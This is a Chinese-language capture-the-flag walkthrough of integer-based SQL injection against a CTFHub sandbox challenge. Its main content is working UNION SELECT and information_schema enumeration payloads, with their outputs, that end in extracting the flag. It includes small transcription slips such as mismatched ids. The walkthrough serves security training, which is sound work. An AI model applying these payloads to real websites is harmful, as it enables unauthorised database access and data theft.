CTFHub 整数型SQL注入

原创

日月ton光 于 2020-03-08 14:57:03 发布 4694 收藏 31
分类专栏： CTF 文章标签： sql注入 ctf 整数型注入

1、整数型SQL注入

（1）判断是否存在注入

1）加单引号

URL：http://challenge-4334fe95b292f4f7.sandbox.ctfhub.com:10080/?id=1’

对应的sql：select * from table where id=3’ 这时sql语句出错，程序无法正常从数据库中查询出数据，就会抛出异常；

2）加and 1=1

URL：http://challenge-4334fe95b292f4f7.sandbox.ctfhub.com:10080/?id=1 and 1=1

对应的sql：select * from table where id=3’ and 1=1 语句执行正常，与原始页面如任何差异；

3）加and 1=2

URL：http://challenge-4334fe95b292f4f7.sandbox.ctfhub.com:10080/?id=1 and 1=2

对应的sql：select * from table where id=3 and 1=2 语句可以正常执行，但是无法查询出结果，所以返回数据与原始网页存在差异

如果满足以上三点，则可以判断该URL存在数字型注入。

（2）查询字段数量

URL：http://challenge-4334fe95b292f4f7.sandbox.ctfhub.com:10080/?id=1 order by 2

当id=1 order by 2时，页面返回与id=1相同的结果；而id=1 order by 3时不一样，故字段数量是2。

```
select * from news where id=1 order by 2
ID: 1
Data: ctfhub
```

（3）查询SQL语句插入位置

URL：http://challenge-4334fe95b292f4f7.sandbox.ctfhub.com:10080/?id=-1 union select 1,2

此时要先保证之前的数据查不出来，之后再union。id=-1数据不存在数据库中。可以看到位置2可以插入SQL语句。

```
select * from news where id=id=-1 union select 1,2
ID: 1
Data: 2
```

（4）获取数据库库名

1）获取当前数据库库名

2位置修改为：database()，version()

URL：http://challenge-4334fe95b292f4f7.sandbox.ctfhub.com:10080/?id=-1 union select 1,database()

得到数据库名称为：sqli，由数据库版本可知他是MySQL的一个分支

```
select * from news where id=id=-1 union select 1,database()
ID: 1
Data: sqli
```

```
select * from news where id=-1 union select 1,version()
ID: 1
Data: 10.3.22-MariaDB-0+deb10u1
```

2）获取所有数据库库名

URL：http://challenge-4334fe95b292f4f7.sandbox.ctfhub.com:10080/?id=-1

union select 1,group_concat(schema_name)from information_schema.schemata

```
select * from news where id=-1 union select 1,group_concat(schema_name) from information_schema.schemata
ID: 1
Data: information_schema,mysql,performance_schema,sqli
```

3）逐条获取数据库库名

语句：select schema_name from information_schema.schemata limit 0,1;

修改limit中第一个数字获取其他的数据库名，如获取第二个库名：limit 1,1。

（5）获取数据库表名

1）方法一：一次获取一个表名

2位置修改：select table_name from information_schema.tables where table_schema='sqli' limit 0,1;

得到数据库表名：news。修改limit中第一个数字，如获取第二个表名：limit 1,1，这样就可以获取所有的表名。

```
select * from news where id=-1 union select 1,(select table_name from information_schema.tables where table_schema='sqli' limit 0,1)
ID: 1
Data: news
```

2）方法二：一次性获取当前数据库所有表名：

URL：http://challenge-4334fe95b292f4f7.sandbox.ctfhub.com:10080/?id=-1

union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'

得到数据库sqli中的表名为news和flag

```
select * from news where id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'
ID: 1
Data: news,flag
```

（6）获取字段名

1）方法一：

以flag表为例，2位置修改为：

select column_name from information_schema.columns where table_schema='sqli' and table_name='flag' limit 0,1;

URL：http://challenge-4334fe95b292f4f7.sandbox.ctfhub.com:10080/?id=-1

union select 1,(select column_name from information_schema.columns where table_schema='sqli' and table_name='flag' limit 0,1)

看到flag表中第一个字段是flag, 修改limit中第一个数字，如获取第二个字段名：limit 1,1,依次类推，发现flag表中的字段名称只有一个flag。

```
select * from news where id=-1 union select 1,(select column_name from information_schema.columns where table_schema='sqli' and
table_name='flag' limit 0,1)
ID: 1
Data: flag
```

2）方法二：

以flag表为例，一次性获取所有字段名：

URL：http://challenge-4334fe95b292f4f7.sandbox.ctfhub.com:10080/?id=-1

union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='flag'

```
select * from news where id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='flag'
ID: 1
Data: flag
```

（7）获取数据

1）方法一：

以emails表为例，2位置修改为：

(select flag from sqli.flag limit 0,1)

URL：http://challenge-4334fe95b292f4f7.sandbox.ctfhub.com:10080/?id=-1 union select 1,(select flag from sqli.flag limit 0,1)

可以得到flag表中的第一条数据，修改limit中第一个数字，如获取第二个字段值

```
select * from news where id=-1 union select 1,(select flag from sqli.flag limit 0,1)
ID: 1
Data: ctfhub{e3900b682ceb194fac4655e47716646d3ae45096}
```

2）方法二：

以flag表为例，一次性获取所有数据：

URL：http://challenge-4334fe95b292f4f7.sandbox.ctfhub.com:10080/?id=-1 union select 1,group_concat(flag) from sqli.flag

```
select * from news where id=-1 union select 1,group_concat(flag) from sqli.flag
ID: 1
Data: ctfhub{e3900b682ceb194fac4655e47716646d3ae45096}
```